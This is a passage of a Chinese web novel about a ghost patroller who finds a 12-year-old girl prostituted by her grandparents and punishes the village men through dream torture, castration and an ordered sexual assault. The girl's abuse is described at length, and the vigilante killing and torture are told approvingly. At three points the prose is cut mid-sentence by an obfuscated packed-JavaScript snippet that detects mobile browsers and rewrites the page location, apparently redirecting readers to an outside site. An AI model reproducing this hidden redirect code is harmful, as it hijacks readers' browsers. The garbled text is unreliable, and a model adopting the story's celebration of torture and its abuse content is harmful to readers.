这两天范七清醒的时间连十分钟都没有,根本不知道后面发生了什么,拐子村团灭,也是他根据对林正文的了解推测的。 此时一听土地婆说的话,瞬间感觉天都塌了。 林正文见他这幅看自己杀人魔的态度,没好气的翻了个白眼:“你这是什么语气,以为我能把他们吃了咋滴?” 范七心想:还不如魂飞魄散呢,到时候自己还能推脱不知情,现在真是黄泥掉□□,不是屎也是屎了。 土地婆看范七这幅闭目叹气的样子,忍不住一笑:“范大人想多了,事情没有那么糟糕。” “对了!”林正文这才想起,“那些亡魂早就让白十一送走,照理说地府不会放过这个把柄,我都等着鬼兵鬼将来抓了,怎么到现在还一点动静都没有?” 不应该啊。 土地婆看着她,浑浊的眼睛亮的惊人,还带着难言的复杂:“老身打听过了,之所以下面没有动静,是姐妹帮的人出力扫尾。” 其实在林正文灭杀拐子村那些人时,土地婆提出两个建议,一个保守一个激进,她都想好干脆一不做二不休。 可林正文却些在她看来奇怪的底线——人能杀,魂不能灭,必须让受害者亲眼见证他们受到惩罚。而且承诺,一力担下罪责,绝不牵连他人。 也正是她的坚持,让土地婆坚信,林正文确实是十世善人,值得跟随。 “老身去下面看过了,姐妹帮处理得很干净。”土地婆说,“连一片指甲盖大小的碎魂都没有。身死魂消,生死簿上面的所有记录都被抹去,除非十殿阎罗五方鬼帝亲自出手,否则无法复原。” 听到这种发展,范七也用一种难以言喻的表情看着林正文,眼神闪烁不定。 忍不住猜想,难道真是气运使然? 之后恍然的抬头看向土地婆,视线在两个女人之间来回移动。 三人沉默了片刻。 林正文突然问:“那些被救出来的女人……以后怎么办?” 土地婆叹了口气:“政府会安置。但有些被拐了十几年,家人都找不到了……能不能重新开始,就看她们自己了。” 林正文望向西方——那里是拐子村的方向。 她想起燕子,想起那些每年中元节都想冲出来报仇的女鬼。现在害她们的人死了,她们的怨气……会不会消散一些? “走吧。”林正文转身,“去看看。” 范七本想趁机离开,可最后还是跟了上去,心中安慰自己——勾魂锁还没要回来,不能让她离开自己视线。 …… 拐子村上空,三人悬停在村头槐树顶端。 从高处看下去,村子已经被警戒线层层围住。警察、法医、痕检全都来了,穿制服的人在村子每户人家中来回穿梭。 林正文还在人群中看到了她妈、她爸和她哥。 村子中央那片空地上,三十七具尸体被白布盖着,排成整齐的一列。即使隔着这么远,林正文仿佛还能感觉到那股浓重的死气。 “三十七个……”她喃喃道。 “三十七个该下地狱的人。”土地婆轻声说,“游神大人,您不必自责。” 林正文没说话。 她不是自责,是……一种说不清的复杂情绪。 其实她不是第一次对活人下手了,王浩那几个崽种,现在可能早就在十八层地狱受刑了吧。 可这次是三十七条人命——或许范七之前看她的眼神没错,她真的是个杀人魔。 以至于在那之后,她就算回家也再没入过梦,她不敢面对父母看她的眼神。 “林大人。”范七忽然开口,声音很沉,“您知道地府为何严禁鬼差插手阳间事务吗?” 林正文转头看他。 “不只是因为‘阴律规范’。”范七指向下方的警察,“您看他们——他们在查案,在取证,在努力给民众一个真相,不管死去的人是好人还是恶人。这是阳间的法,阳间的秩序。” 他顿了顿:“若鬼差看到不公的事,就在阳间‘替天行道’……久而久之,找不到凶手,活人便会想:那阳间的法还有什么用?警察破不了案,法院判不了罪。” 林正文皱眉:“死的都是该下十八层地狱的恶人!” 范七声音低沉:“可是一旦这种想法蔓延,阳间公信力受损,正气衰微,怨念滋生……到那时,阴阳失衡,乱象频发——受害的,还是普通百姓。” 他看向林正文:“而且,一旦发生这种事,本地所有阴间公务员——城隍、土地、无常、游神——都要被问责。轻则降职罚俸,重则直接罢免,轮回重修。” 林正文愣住了。 她从来没想过这一层。 “您以为判官殿那十位,为何纵容您胡闹?”范七继续道,眼神复杂,“他们不是在纵容,是在等——等您捅出无法收拾的大篓子,等阴阳秩序因您而乱。到那时,十世善人的名头也保不住您。” 夜风吹过,林正文觉得魂体有些发冷,脚下仿佛是万丈悬崖。 她想起母亲在梦里的警告,想起父亲说的“捧杀”,想起劈山鬼意味深长的眼神…… 原来所有人都看明白了,只有她,还傻乎乎地觉得自己在“替天行道”。 “所以……”她声音发干,“我清理拐子村,其实是……” “是在他们的算计之内。”范七接话,“那些人渣死有余辜,但林大人用梦魇符让他们在梦中惨死——这事若被捅出去,就是‘游神滥用职权,滥杀活人’。” 他顿了顿:“当然,现在木已成舟。只要没人深究……” 这也是范七觉得奇怪的地方,本来是错误的行为,似乎真的有个无形的手在推波助澜,帮她扫清一切障碍。 土地婆扫了他一眼,嘴角露出一抹淡淡的轻笑。 话没说完,远处天边泛起鱼肚白。 晨光刺破夜幕,下方村庄里的警察开始收拾现场。 白布包裹的尸体被一具具抬上殡仪馆的车,还有些没有离开拐子村的女人,在女警的搀扶下上了另一辆车。 一切都按阳间的程序在走。 林正文看着这一幕,忽然想起自己前一天的等待,和死后活一天是一天的肆意。 “对不起……” 范七和土地婆疑惑看向她。 林正文双手搭着后脑看向天空:“虽然我不想连累你们,但是我也做不到眼看着恶人钻着法律的空子猖狂于世,什么都不做。” “如果以后牵连了你们,那我提前跟你们说一声对不起。”她侧头看向二人,“帮我转告其他本地阴差,如果不想被牵连,就找门路调去别的地方吧,提前和我划清界限。” 未来牵连他们,那是“可能”。她不想为了一个没有发生的可能性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168124|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放弃眼前活生生的人。 而且说句不好听的,拐子村在这存在这么多年,城隍、土地、无常、游神,说到底也是“地方官”,他们从来没想过管一管。 林正文不觉得自己应该为了他们的利益,做出让步。 即便城隍在她面前慈祥可亲,土地婆昨天也帮了她。自己和他们依然是——道不同不相为谋。 她翻手取出勾魂锁,抛给范七。 范七接住,眼神微动:“多谢林大人。” “不谢。”林正文转身,“婆婆,昨天麻烦你了,这点算是我的谢礼。” 说完,隔空推过去一枚蕴气丹,那是她用原本留作底牌的功德兑换的。 土地婆躬身:“老身明白了。还是那句话,日后游神大人有任何事,尽管开口。” 林正文挥挥手,魂体化作一道流光,朝着城市方向飞去。 范七和土地婆留在原地,看着她消失在天际。 “范大人。”土地婆盯着掌心的蕴气丹看了半晌,忽然开口,“您觉得……她能走多远?” 范七沉默良久。 “不知道。”他最终说,“她的实力已经让我望尘莫及了,未来的发展,我不敢猜,也猜不透。” 说完,他转身离去。 土地婆拄着拐杖,看着下方逐渐恢复平静的村庄,又看向林正文离去的方向,深深叹了口气。 “十世善人……但愿这次,天道真的站在你这边。” 晨光彻底照亮大地。 新的一天开始了。 地府判官殿里,十位官员正围坐在水镜前。 镜中映出的,正是林正文离去的身影。 “初级鬼兵了。”天曹缓缓开口。 “这才几个天。”陆判冷哼,“真不知道她那些香火都是哪来的?再这样下去,怕是用不了一年,就能和我们平起平坐了。” 他盯着水镜,气地挥手掀翻:“卞城王到底什么时候出关。” “别急,鬼差满100鬼气便可升为鬼兵,可鬼兵需满1000鬼气才能成为鬼将,咱们有官职加成,实力堪比高级鬼将,”天曹那数据说话,语气镇定,“如果她几天就能超过我们,那咱们这千年修行,岂不修到狗身上了。” 除了天曹,其他人都不敢出声,低头自顾自做事。 崔判原本也气的够呛,见陆判先爆发出来,他才压了下去。听过天曹的话,一想也对,林正文实力能提升这么快,或许因为她在网上过于活跃导致的,一时获得了认可而已。 可据他所知,网络信息日新月异,没有哪个网红能长盛不衰,更何况她一个冲动妄为的丫头片子。 等有更新鲜的人取代林正文的热度,她就只能是秋后的蚂蚱蹦跶不了多久了。 林正文还不知道自己被誉为“秋后的蚂蚱”,她从拐子村离开后,并没有直接回城里。 拐子村的案子给了她灵感,之后的日子她再没回过家,就绕着城市在外围转悠,期间也遇到过几个同城的阴差。 到是让她有些意外,一个月过去了,也没人离开,见到她都面色如常的恭敬行礼,像是根本不知道她对拐子村做过的事一样。 “难道范七没有转告我的意思?” 就算如此她也不可能去追着问这件事,想想就过去了,继续在周边巡逻,查看有无不公事。 没想到这天,还真被她发现了一个可疑对象。 那是老鹰山附近一处百户人家的村子,一个放牛的小女孩。 照理来说,这年纪都该上学了,可她几次白天从那边经过,都看到女孩在河边放牛。 不履行九年义务教育,那可不行。 这事她得管! 32. 第 32 章 林正文在树梢上坐下时,夕阳正把老鹰山的影子拉得老长。 她原本只是例行巡查,没想到在这山坳里的小村庄,会撞见那个放牛的女孩——小溪。 林正文不知道全名,村里人都这么叫她。 十二三岁的年纪,本该在学校里念书,却整天牵着那头老黄牛在河边打转。 林正文观察两天了,每天清晨太阳刚露头,她就牵着牛出门,傍晚才慢悠悠地回家。 “重男轻女?不让上学?” 她本能的做此猜测,打算今晚去女孩家看看。 要是真因为穷上不起学,她可以找人托梦想想办法;要是观念问题……那她不介意给她的父母“讲讲道理”。 打定主意,这天林正文就跟着女孩往村里走。 村子不大,拢共几十户人家,房子多是老旧的砖瓦房。小溪家在村西头,再远就是荒甸了,院墙塌了半边也没修,用一捆柴火胡乱堆着。 林正文飘进院子时,没见到小溪的父母,只看见两个老人坐在屋檐下。 老头在编竹筐,手指粗黑,动作慢吞吞的。老太太在摘豆角,眼皮耷拉着,看都没看进门的孙女一眼。 “爷,奶,牛拴好了。”小溪小声说。 老太太这才抬起眼皮,浑浊的眼睛在小溪身上扫了一圈,声音干巴巴的:“今天有没有别人给你钱?” 小溪表情木然地摇头:“没有。” “哼。”老太太从鼻子里挤出一声,继续摘她的豆角。 老头倒是抬起头,脸上挤出点笑:“累坏了吧?灶房有凉白开,去喝点。” 小溪点点头,默默走进灶房。 林正文皱眉。这老头看起来还挺关心孙女,可老太那句话是什么意思? 一个放牛娃,谁会给她钱? 难道是跑腿之类的?怕她自己偷摸存钱? 她正琢磨着,小溪已经放下竹篮,开始生火做饭,动作熟练得让人心疼。搬凳子踮脚往米缸里探头的时候,林正文都跟着胆战心惊,生怕她一头栽进去。 城里孩子不缺营养,小学生都能长到一米七八,可小溪才刚一米出头。 若不是路过的村里人说她“十二岁,都是大姑娘了”,林正文还以为小溪不到十岁呢。 林正文看着她单薄的背影,心里疑云越来越重。 这家里只有两个老人,看年纪估计有六七十岁。村里生孩子都早,而且本地习俗多数人不满足于只生一个。 小溪的父母若是外出打工,那其他孩子呢?难道带在身边了?为什么把小溪一个人留在乡下? 疑问太多了,林正文决定先听听村里的风声。 飘到村头那棵大榕树下,太阳已经完全落山了。树下聚着几个女人,正端着碗边吃晚饭边闲聊。 林正文悄无声息地落在最高的枝杈上,竖起耳朵。 “瞧见没?那小骚蹄子又牵牛回来了。”一个胖妇人啐了一口,碗里的粥溅出来几滴。 “可不是嘛,一天天装单纯无辜似的。”瘦长脸的女人接话,声音尖细,“啧,外人不知道,咱们还不知道她啥样么。” “可不是,”胖夫人挤眉弄眼,故意压低声音,“你们说,她白天不在家,是不是和牛玩去了。” 林正文却眉头拧紧。 她在说什么? “要我说,她爹妈名字取得真好——小溪,小溪,可不就是个公共厕所么?”第三个女人咧嘴笑,露出满口黄牙,“谁想上都能上。” “哈哈哈——” 几个女人笑作一团,碗筷碰得叮当响。 林正文死死盯着树下那几个面目模糊的女人,胸口那股火渐渐烧起来。手指不自觉地扣进树皮里,那根树枝快速变黄枯萎,几片枯叶飘落…… 下面的人对头顶发生的事丝毫不知,还在满口乱喷。 “要我说,她爹妈也是傻。”胖妇人扒拉一口粥,含糊道,“在外头累死累活挣钱图啥?丫头片子养大了也是别人家的,还不如再生个儿子。” “生?生啥生!”瘦长脸撇嘴,“我听说她妈在城里给人当保姆,她爸在外面搬砖,一个月也见不上几面。和空气生啊?” 说着她不知道想起什么,怪笑一声:“最傻的是,他们累死累活,以为给女儿攒嫁妆,估计都不知道钱都进了谁的口袋。” “还能有谁?那两个老不死的呗。”黄牙女人冷笑,“养着孙女当摇钱树,啧,这生意划算。” 林正文脑子“嗡”地一声。 摇钱树?生意? 难道儿子儿媳寄回来的钱,那老两口一分都没给小溪花? 不是没可能,不然也不会让她这个年纪还在家放牛。 不对!林正文猛地想起老太太那句话——“今天有没有别人给你钱”。 下面三人好像知道她的疑惑一般,紧接着就说出了让人世界观爆炸的话。 “哎,说到钱——”胖妇人忽然压低声音,左右看了看,“我家那死鬼,昨儿个从我手里抠了二十,说买烟。我后来一想不对啊,买烟往东头小卖部,他往西头走啥?” “西头?”瘦长脸眼睛一亮,“去小溪家了?” “我看八九不离十。”胖妇人脸色阴沉,“好好的钱不往家里拿,净往那骚沟子里钻!” “我家那个也是!”黄牙女人突然激动起来,“上个月偷拿我两百,说是借给老张头应急。我后来碰见老张婆子,人家说根本没借钱!我一琢磨,那几天他天天吃完饭出去溜达,回家拉灯就跟死猪一样,肯定也去钻人沟子了!” “呸!不要脸的贱货!”瘦长脸狠狠啐了一口,“小小年纪就会勾引男人,跟她那奶奶一个德行——老的拉皮条,小的是卖的,一家子烂货!” “要我说,早死早投胎,省得败坏咱村风气。” “就是,留着也是个祸害……” 女人们越说越难听,碗里的饭早就凉了,嘴里的唾沫像火星子一样往外喷。 林正文坐在树梢上,浑身冰凉。 她听懂了。 每一个字都听懂了。 “生意”。 “摇钱树”。 “公共厕所”。 林正文猛地站起来,她死死盯着西头那间破房子。 “畜生……” 下一秒,她化作一道黑色流光,朝着小溪家疾射而去。 …… 灶房的灯还亮着。 小溪已经炒好了菜,一碗腊肉炒青菜,肉只有薄薄两三片,三碗粥,一碟白面馒头。她把饭菜端上桌,摆好三副碗筷,然后安静地站在桌子前,等爷爷奶奶来吃。 堂屋里隐约传来老两口的说话声,林正文站在门口往那边伸长耳朵。 “又到了发工资的日子,你去查了吗?”老头嗓子里卡痰一样,嗓音粗重。 “查了,三千。”老太太顿了顿,突然大声道,“你说咱儿子是不是傻?在城里累死累活,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173434|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月挣四五千,寄回来三千!图啥?不就为了养这个赔钱货?” “要我说,就是他媳妇撺掇的。”老太太声音更尖锐,“那女人就不是个好东西,自己生不出个带把的,还拦着不让咱儿子要老二。说什么现在养一个孩子都费劲……费劲啥?女娃子给口饭吃就得了。” “还要给她上学,买书,买资料……我呸!要我说女人就不能出去,在外面净会跟城里人学花活。” “上学?上什么学!”老太太啐了一口,“丫头片子念书有啥用?到头来还不是别人家的人。要我说,就该让她早点嫁人,换点彩礼钱。” “他们还要给孩子攒嫁妆?脑子坏了吧!幸好,钱都在咱们这,不然迟早给他们败了!” 老头一直没说话,这时开口:“嫁什么人?现在这样不是挺好?” 堂屋里安静了一瞬。 然后是老太太阴冷的笑声:“也是。反正都这样了,还能多挣几年钱。等过两年身子长开了,价钱还能再涨涨。” 林正文站在灶房门口,双手死死攥起。 她看着低头站在那里的小溪,女孩脸上没什么表情,看不出听没听到那些话,或是早已经习惯了。又或者,根本不明白他们话里的意思对自己而言意味着什么。 饭菜摆好了,老两口终于从堂屋出来。 老头坐下时还拍了拍小溪的头,给她夹了一片薄到能透光的腊肉:“吃饭吧,多吃点。” 老太太没看孙女,一筷子夹走最厚的两片肉,端起碗就扒饭。 三个人沉默地吃饭。小溪吃得很慢,小口小口地嚼着馒头。老头偶尔给她夹一筷子青菜,动作看起来很自然。 多么“温馨”的一幕。 林正文觉得胃里翻涌。 吃完饭,小溪默默收拾碗筷,拿到外面去洗。老头和老太太回到堂屋,关上了门。 林正文穿墙而入。 堂屋里灯泡昏暗,老太太正坐在炕上数钱——皱巴巴的纸币摊了一床,有一块的、五块的、十块的……最大面额是五十。她枯瘦的手指沾着唾沫,一张一张地数,嘴角不自觉地咧开,扭曲的像恶鬼。 老头坐在窗前抽旱烟,烟雾缭绕中,他的脸看起来模糊不清。 “明天得跟儿子打个电话。”老太太忽然说,“让他再多寄点钱回来。就说小溪要买新衣服,要交学费。” “他会信?” “不信也得信。”老太太冷笑,“他那媳妇不是总说疼闺女吗?疼闺女不得花钱?再说了……” 她顿了顿,声音里带着怨毒:“他媳妇挣的钱都没给咱,全自己存着呢,趁此机会能掏多少是多少。” 老头没说话,只是深深吸了一口烟。 林正文此时就站在屋里,看着这对老人平静的脸,看着他们理所当然地把所有不幸都归咎于一个女孩和她母亲。 觉得孙女是“赔钱货”,觉得儿媳妇“生不出儿子”,觉得儿子外出打工不在自己身边,都是为了这个“不值钱”的女孩。 他们私下扣了儿子寄回来的钱,权当做对自己养儿防老的补偿,浑然忘了,里面起码有一半是给孙女的。 不仅如此,他们还心安理得地用孙女的身体赚钱,觉得这是在“回本”。 真是无知又恶毒。 老太太数完钱,小心地塞进贴着内衣的口袋里。老头也抽完烟了,站起身活动了一下筋骨。 接着,老头说了一句话,让林正文怔在原地。 33. 第 33 章 “你先睡吧。”老头忽然说,声音很平静,“我去小溪那边待会。” 林正文愣住了。 老太太头也不抬:“嗯,快点,一会还有别人来呢,钱都给了。” “知道了。” 老头推开堂屋的门,朝着西厢房走去。 林正文僵在原地。 她看着老头佝偻的背影,脑子里“轰”地一声炸开了。 原来……原来连爷爷也是。 白天那个关心孙女热不热、让她喝凉白开的爷爷,竟然夜里也会推开孙女的房门。 这个家里,根本没有一个干净的人!!! “畜生!!!” 林正文低吼出声,鬼气不受控制地爆发。 “啪——” 堂屋里的白炽灯泡一声爆响后,骤然熄灭! 老太太吓了一跳,手里的东西掉在地上。 “咋回事?”老头在门外回头。 “见鬼了,”老太太慌忙摸黑找备用的灯泡,“你去你的,这有我。” 老头“嗯”了一声,推开西厢房的门,走了进去。 门轻轻合上。 林正文站在漆黑的堂屋里,浑身剧烈颤抖。她想起小溪那双茫然的眼睛,她才那么小,或许根本没有机会明白什么叫伦理! 然后她想起老头推开房门时那平静的表情。 那么自然。 那么……习以为常。 小溪不懂,他们也不懂吗? 透过窗户没关严的缝,她看见老头坐在床沿,小溪已经躺下了,裹着薄薄的被子。 “今天累不累?”老头的声音很温和,和白天一样。 小溪摇摇头。 “爷爷给你揉揉腿。”老头说着,伸手去掀被子。 林正文再也看不下去了。 “老狗……去死!” 西厢房屋里透亮,灯泡就悬在床沿的正上方,把老狗的脸照得半明半暗,猥琐无比。 小溪睁着眼看着他,眼中无怨无恨、无喜无悲,呼吸声均匀而平静,没有一丝波澜。 仿佛已经习惯了这样的夜晚。 “老畜生……” 林正文从牙缝里挤出三个字,右手猛地一抓。 老头只觉得后领一紧,整个人不由自主的往后倒去,不等他惊恐喊叫,就感觉眼前一黑。再睁眼时,已置身于一片白茫茫的空间。 他茫然地站在那儿,身上还穿着那件洗得发白的汗衫,脚下是坚硬冰冷的地面。 “这是哪儿?”他嘟囔着,转身想找门。 然后他看见了一个陌生的女人。 黑衣劲装,马尾高束,半透明的魂体在白色背景中格外醒目。她双手抱胸站在三米外,眼睛死死盯着他,那眼神冷得像四九天的寒风。 “你、你是……”老头后退一步,声音发颤。 “我是谁不重要。”她一字一顿,“重要的是,专门收拾你这种老畜生。” 话音未落,林正文动了。 没有花哨的招式,没有多余的废话,她一个箭步冲到老头面前,右拳裹挟着凌厉的鬼气,狠狠砸在他脸上! “砰!” 老头整个人向后飞出去三米远,重重摔在地上。他惨叫一声,嘴里涌出血腥味,伸手一摸,两颗门牙掉了。 “这一拳,为小溪。”林正文走过去,居高临下地看着他,“她才十二岁,你这老狗也下得去手?” 老头想爬起来,林正文抬脚踩在他胸口。 “我、我是她爷爷……”老头挣扎着说,“别人都可以,我为什么不可以……” 林正文笑了,笑容里满是戾气,气的不知道说什么。 算了,跟他这种老畜生,用拳头说话就行了! 她弯腰,揪住老头的衣领把他拎起来,又一拳砸在他肚子上。 “呕——” 老头痛得弓起身子,胃液混着血水从嘴里喷出来。 林正文没停,反手又是一巴掌,扇得他半边脸瞬间肿起。 “爷爷?你也配当爷爷?”她声音嘶哑,每一拳都带着要爆炸的怒火。 一拳接一拳,一脚接一脚…… 林正文完全放弃了章法,就像第一次打架那样,不求最大功效,只要拳拳到肉就行。 一通乱揍之下,老头从一开始的惨叫,到后来的哀嚎,最后只剩下微弱的呻吟。 她打了整整一个小时。 梦里就是这点好,老头中途都被锤成一摊烂肉了,全身骨头都被打的粉碎。结果林正文打个响指,将其魂体恢复之后,继续抱以老拳。 一个小时后,林正文才停下手。 她喘着气,看着地上一动不动,只能抽搐的老头,心里的火不但没消,反而烧得更旺了。 “还不够。”她喃喃道。 她用鬼气凝成一把短刃,刀刃凝实泛着冷光,在白色空间里显得格外瘆人。 老头似乎预感到了什么,挣扎着想往后退:“不……不要……” “你这种老狗,”林正文走到他面前,声音平静得可怕,“就该施以宫刑!” 手起刀落。 “噗嗤——” 没有鲜血喷溅,但老头发出了非人的惨叫,那声音凄厉得能刺破耳膜。他整个人蜷缩起来,浑身剧烈抽搐,眼白上翻,口水混着血水从嘴角流出来。 林正文刀尖一挑,那玩意就飞上了半空,一道鬼气射去,将其击得粉碎。 她看着地上痉挛的老头,冷声道:“这一刀,是直接从你的灵魂上切掉的,从今往后,你就算彻底告别它了。” …… “砰砰砰!” 西厢房的门被敲响了。 “老李头?完事了没?”门外传来一个粗嘎的男声。“我不就晚来一会,都定好了……” “催什么催,”老太太的声音不耐烦地嘟囔,“真跟老狗似的,半只脚都进棺材了,还能发q。” “你直接敲门叫他出来,自己家什么时候不行,你先进去。” 男人嘿嘿怪笑:“没事,我就这么进去,以前也不是没有过,一起玩更爽。” 屋里,老头还保持着掀被子的姿势,但整个人僵在那里,眼睛瞪得老大,额头冷汗直冒。 刚才梦境里的一切太真实了,真实到——他低头看去,下面传来一阵撕心裂肺的剧痛。 “啊……啊啊啊……”他瘫倒在地,捂着下身,大张着嘴,只能从喉咙中挤出破碎的呼声。 门外的男人等不及了,直接推门进来。 这是个四十来岁的壮汉,满脸横肉,身上带着酒气。他一进屋就看见倒在地上的老头,愣了一下,随即咧嘴笑了:“哟,老李头,你这就不行了?才几分钟啊?” 他看都没看地上的老头,也没发现他状态不对,直勾勾地奔着床上的小溪过去。 嫌老头碍事,随意用脚踢了踢他:“起开起开,别挡道。” 还差几步远, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184094|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就开始解裤腰带。 林正文站在床尾的阴影里,看着这个满脸□□的男人,隔夜饭都快吐出来了。 她抬手,隔空一点。 壮汉动作一僵,眼前景象瞬间变换。 还是那片白色空间。 “你谁啊?”壮汉愣了两秒,随即反应过来,“小溪呢?” 林正文现身出来,没说话,只是冷冷看着他。 壮汉被她盯得发毛,但酒劲上头,胆子也大了:“看什么看?老子花钱了,想怎么玩怎么玩!把小溪弄走了,换你来也——” 话没说完,林正文动了。 这次她没动手,只是打了个响指。 白色空间里突然冒出五六个看不清脸的壮汉,个个满脸横肉,眼神淫邪。他们围上来,二话不说就开始扒男人的衣服。 “你、你们干什么?!”男人慌了,想挣扎,但身体动弹不得。 “你不是喜欢‘一起玩’吗?”林正文站在外围,声音冰冷,“那就让你玩个够。” 男人们扑上去。 接下来的画面,林正文没看。 她背过身,听着身后传来的惨叫、哀嚎、求饶声,脸上没有任何表情。 十分钟后,声音渐缓,她才转身。 男人瘫在地上,浑身赤裸,身上全是青紫的痕迹。他眼神涣散,嘴巴一张一合,像离水的鱼。 整个人已经快被玩废了。 林正文走过去,蹲下身,用同样的手法阉了他。 …… 发生这一切的时候,外面的现实中就是两个男人痛到发不出声音,只能瘫在地上像个烂肉一样扭曲。 小溪木然地看着头顶的灯泡,直视强光眼皮都不动一下,整个人就像没看到身边发生的一切一样。 林正文心疼的走过去,正想说什么。 没想到这一晚竟然还不算完,都九点半了,还有第三个男人来敲门。 这是个五十多岁的麻杆似的男人,进院子就嚷嚷:“里面有人吗?我就能出来二十分钟,先让我来。” 老太太在堂屋回骂:“急什么急!前面有人不得排队啊?” 麻杆男人不喜欢“一起玩”,碍于时间有限,只好骂骂咧咧地进屋。 刚关门一转身,就看见距离床边短短几米的地上躺了两个男人,他愣了一下。 “这啥情况?” 没人回答他。 下一秒,他也进了梦境。 林正文这次连话都懒得说,直接复刻前两人的遭遇,冲上去给了他一顿堪比酷刑的待遇。 然后,是同样的一刀。 林正文站在西厢房里,看着地上三个已经痛到昏过去的畜生,心里的火终于稍稍平息了一些。但很快,更大的愤怒涌上来—— 这只是今晚的三个。 那以前呢?有多少个? 这个村子里,还有多少人碰过小溪? 她才十二岁,到底从多久之前就开始了? 临走前,林正文走到床边把被子拉高,在小溪肩头压了压被角,抬手盖在女孩的眼睛上。 鬼气牵动灯绳,“啪嗒”一声,室内陷入一片黑暗。 “睡吧,睡醒了,世界就变好了。” 小溪躺在床上,眼前从明亮到黑暗都没有让她有丝毫变化,直到耳边听到这句话,这才轻轻的合上双眼。 林正文指尖轻轻合拢,掌心似乎还残留羽毛扫过的痒意,让她心里也跟着一动。 34. 第 34 章 黑暗中,林正文站在床边看了小溪半晌,直到她呼吸均匀,真正进入安眠。这才深吸一口气,飘出屋子。 夜已深,整个村子陷入沉睡。 林正文飘到小溪奶奶的房间。 老太婆躺在床上打着鼾,说着含糊的梦话,根本不在意三个男人还没有从孙女的房间离开——其中还有她的丈夫,小溪的爷爷。 林正文一双拳头在身侧攥紧,鬼气蓄势待发。 不只是哪户的土狗发出几声变调的犬吠。 “嗷呜~汪汪!” 但很快就在主人的训斥下不得不安静下来,只能不安地在院子里来回走动。除了它们,没有人察觉到夜空中的异样。 林正文闭上眼睛,周身的气息忽而膨胀,忽而收缩。 直到几分钟后,一片乌云遮住明亮的月光,她突然双臂一展,毫无保留的将全部鬼气都散了出去。 中级鬼兵的实力,足够覆盖这个小村庄。 她将鬼气化作无数细丝,悄无声息地渗入每一户人家的梦境。 然后,她没有像对拐子村那样直接杀,而是开始“问”。 …… 躺在地上的王老二正在做梦。 梦里一名黑衣游神站在他面前,声音冷得像冰:“你碰过小溪几次?” 王老二吓得一哆嗦:“我、我……” “几次?”林正文逼近一步,一把掐住他的脖子,“说!” “三……三次……” “什么时候开始的?” “去、去年夏天……” 林正文记下了。 隔了几户的张春花也在做梦。 梦里她正像往常一样和几个女人在村头闲聊,说得唾沫横飞。 突然,一个人出现在她们中间,劈头就问:“你家男人也欺负过小溪吗?” 张春花脸色一变:“我、我不知道……” “不知道?”林正文冷笑,“不知道就嚼舌根!” “是……” 几分钟后,林正文从她梦里抽身,转向下一家。 一家接一家。 一户接一户。 林正文像箅子一样,把整个村子梳了一遍。 她问男人有没有碰过小溪,问女人知不知道这件事。 答案让她心寒。 全村四十七个成年男人,有三十八个碰过小溪——从六十多岁的老畜生,到十几岁的小畜生。 剩下的九个,要么是常年在外打工,要么是年老、身体有残疾。 女人们呢? 大部分都知道。有些是睁一只眼闭一只眼,有些是跟着嚼舌根,比起男人“身体力行”,她们嘴巴的恶毒程度丝毫不弱。 村里五十岁以上的十几只老狗,基本都参与过。 还有七八个男孩,也经常趁着小溪出门的时候骚扰过她,学着大人的样子说下流话。 整个村子,从老到小,从男到女,没有一个干净的。 没有一个! 林正文站在村子上空,她看着脚下这片沉睡的土地,看着那些做着美梦的村民,脑子里只有一个念头—— 毁了它! 把这片肮脏的土地,连人带房子,全给她掀了! 今天她就要给这些畜生送葬! 就算是公鸡,也一只不留! ……但是她忍住了! 不是范七说的话对她起了作用,让林正文开始在意起阴阳秩序、地府规矩了。 而是小溪,那个对人生尚且懵懂的女孩。 以前她想着反正都死过一次了,活一天都是赚了,能帮一个是一个。 但见到小溪后,她不这样想了——如果自己被押回地府,再也无法回到这片土地上,以后还有更多的“小溪”怎么办。 全国有多少女孩正在遭受不法侵害? 这种事多是民不举官不究,等她们意识到自己受到的伤害时,一切都晚了。 夜色下,林正文拼命压抑内心的杀意,脑中飞速运转,想找到一个两全之法。 可她一个刚死几个月的新鬼,对地府尚且一知半解,又能有什么办法。 突然,一个身影划过脑海! “对了!劈山鬼!!”林正文眼中瞬间燃起希望。 她不敢小看这些混地府成百上千年的老油条。土地婆都能想到办法钻阴律的空子,更何况守鬼门关的鬼将。 他和范七等人不一样,和自己没有直接牵连,还对她抱有不知缘由的善意,应该能给她一些方向。 “赌一把。” …… 鬼门关前,依旧阴风惨惨。 高大的门楼耸立在灰暗的天幕下,两侧站着面无表情的鬼兵。 劈山鬼扛着他那柄百斤大刀,正训斥一个刚来的新手下。 “站直了!你这歪歪扭扭的像什么样子!鬼门关可是地府门面……” 